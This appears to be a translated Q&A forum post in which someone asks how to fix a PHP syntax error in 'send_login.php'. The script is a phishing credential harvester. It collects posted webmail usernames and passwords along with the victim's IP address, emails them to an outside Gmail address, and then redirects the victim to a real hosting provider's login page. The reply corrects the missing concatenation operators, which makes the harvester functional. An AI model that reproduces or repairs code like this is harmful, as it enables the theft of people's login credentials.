我该如何解决 send_login.php 中的这个错误

Question

我收到这个错误，解析错误：语法错误，第 4 行 C:\xampp\htdocs\wb\system\send_login.php 中的意外 '"\n"' (T_CONSTANT_ENCAPSED_STRING)

    <?php
$ip = getenv("REMOTE_ADDR");
$message  = "--------------- Webmail Login  --------------\n";
$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";
$message .= "IP: ".$ip."\n";
$message .= "---------------Created By KNYGHT-----------------\n";
$send = "briggstonya099@gmail.com";
$subject = "Webmail Login";
$headers = "From: KNYGHT<comp>";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
mail($send, $subject, $message); 
header("Location: https://sso.secureserver.net")

;

?>

Answer 1

缺少两个.。

改变

$message .= "Username : ".$_POST[user]"\n";
$message .= "Password : ".$_POST[pass]"\n";

至

$message .= "Username : ".$_POST['user']."\n";
$message .= "Password : ".$_POST['pass']."\n";

我该如何解决 send_login.php 中的这个错误

How can I solve this error in my send_login.php

php

authentication

indexing

email-spam